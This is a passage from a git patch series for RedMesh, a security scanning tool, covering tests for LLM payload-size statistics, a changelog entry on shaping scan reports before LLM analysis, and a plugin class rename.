-181,6 +181,9 @@ def _auto_analyze_report(self, job_id, report, target, scan_type="network", anal self.assertIsNotNone(host.captured) self.assertIn("metadata", host.captured) self.assertNotIn("port_banners", host.captured) + self.assertEqual(host._last_llm_payload_stats["analysis_type"], "security_assessment") + self.assertGreater(host._last_llm_payload_stats["raw_bytes"], host._last_llm_payload_stats["shaped_bytes"]) + self.assertGreater(host._last_llm_payload_stats["reduction_bytes"], 0) def test_build_llm_analysis_payload_deduplicates_and_tracks_truncation(self): from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin @@ -287,6 +290,29 @@ def __init__(self): self.assertEqual(quick_payload["truncation"]["service_limit"], 12) self.assertEqual(quick_payload["truncation"]["finding_limit"], 12) + def test_record_llm_payload_stats_tracks_size_reduction(self): + from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin + + class MockHost(_RedMeshLlmAgentMixin): + def __init__(self): + self.cfg_llm_agent = {"ENABLED": True, "TIMEOUT": 5, "AUTO_ANALYSIS_TYPE": "security_assessment"} + self.cfg_llm_agent_api_host = "127.0.0.1" + self.cfg_llm_agent_api_port = 8080 + + def Pd(self, *_args, **_kwargs): + return None + + host = MockHost() + raw_report = {"service_info": {"80": {"banner": "x" * 3000}}, "port_banners": {"80": "y" * 4000}} + shaped = {"metadata": {"job_id": "job-obs"}, "truncation": {"finding_limit": 12}} + + stats = host._record_llm_payload_stats("job-obs", "quick_summary", raw_report, shaped) + + self.assertEqual(stats["analysis_type"], "quick_summary") + self.assertGreater(stats["raw_bytes"], stats["shaped_bytes"]) + self.assertGreater(stats["reduction_ratio"], 0) + self.assertEqual(host._last_llm_payload_stats["job_id"], "job-obs") + def test_extract_report_findings_includes_graybox_results(self): from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin From 45927c9d1b52c5808a45a1551476030655370cdb Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 19:15:45 +0000 Subject: [PATCH 113/114] docs(redmesh): record llm payload shaping rollout --- extensions/business/cybersec/red_mesh/AGENTS.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/extensions/business/cybersec/red_mesh/AGENTS.md b/extensions/business/cybersec/red_mesh/AGENTS.md index 776dc861..bc950fd3 100644 --- a/extensions/business/cybersec/red_mesh/AGENTS.md +++ b/extensions/business/cybersec/red_mesh/AGENTS.md @@ -299,3 +299,10 @@ Only append entries for critical or fundamental RedMesh backend changes, discove - Change: extracted a generic nested-config resolver in [`services/config.py`](./services/config.py) and moved distributed job reconciliation config onto that shared path. - Horizontal insight: RedMesh should centralize nested config block merge semantics, but keep validation local to each subsystem wrapper rather than introducing a broad deep-merge config framework prematurely. + +### 2026-03-16T20:40:00Z + +- Change: introduced a dedicated LLM payload-shaping boundary in [`mixins/llm_agent.py`](./mixins/llm_agent.py) so RedMesh no longer sends the full aggregated report directly to the LLM path. +- Change: added network and webapp-specific compact payload shaping, finding deduplication/ranking/capping, analysis-type budgets, and runtime payload-size observability. +- Verification: the known failing job `a3a357bc` dropped from `303,760` raw bytes to `21,559` shaped bytes for `security_assessment` and completed manually in `38.97s` on rm1 instead of timing out. +- Horizontal insight: RedMesh archive/report data and LLM reasoning data must remain separate contracts; future LLM work should extend the bounded payload model rather than re-coupling the agent to raw archived aggregates. From 21a6ba9e7275f2de58d1c5aba0c1f38a3e506290 Mon Sep 17 00:00:00 2001 From: toderian Date: Thu, 2 Apr 2026 08:38:33 +0000 Subject: [PATCH 114/114] fix(redmesh): normalize llm agent plugin class name --- .../business/cybersec/red_mesh/redmesh_llm_agent_api.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py index 530dbf98..02d4af1f 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py @@ -226,7 +226,7 @@ def _get_analysis_prompts(scan_type: str) -> dict: ANALYSIS_PROMPTS = _NETWORK_PROMPTS -class RedmeshLlmAgentApiPlugin(BasePlugin): +class RedMeshLlmAgentApiPlugin(BasePlugin): """ RedMesh LLM Agent API plugin for DeepSeek integration. @@ -249,7 +249,7 @@ class RedmeshLlmAgentApiPlugin(BasePlugin): def on_init(self): """Initialize plugin and validate DeepSeek API key.""" - super(RedmeshLlmAgentApiPlugin, self).on_init() + super(RedMeshLlmAgentApiPlugin, self).on_init() self._api_key = self._load_api_key() self._request_count = 0 self._error_count = 0 @@ -318,7 +318,7 @@ def _load_api_key(self) -> Optional[str]: def P(self, s, *args, **kwargs): """Prefixed logger for RedMesh LLM messages.""" s = "[REDMESH_LLM] " + str(s) - return super(RedmeshLlmAgentApiPlugin, self).P(s, *args, **kwargs) + return super(RedMeshLlmAgentApiPlugin, self).P(s, *args, **kwargs) def Pd(self, s, *args, score=-1, **kwargs): """Debug logging with verbosity control.""" @@ -726,5 +726,5 @@ def analyze_scan( def process(self): """Main plugin loop (minimal for this API-only plugin).""" - super(RedmeshLlmAgentApiPlugin, self).process() + super(RedMeshLlmAgentApiPlugin, self).process() return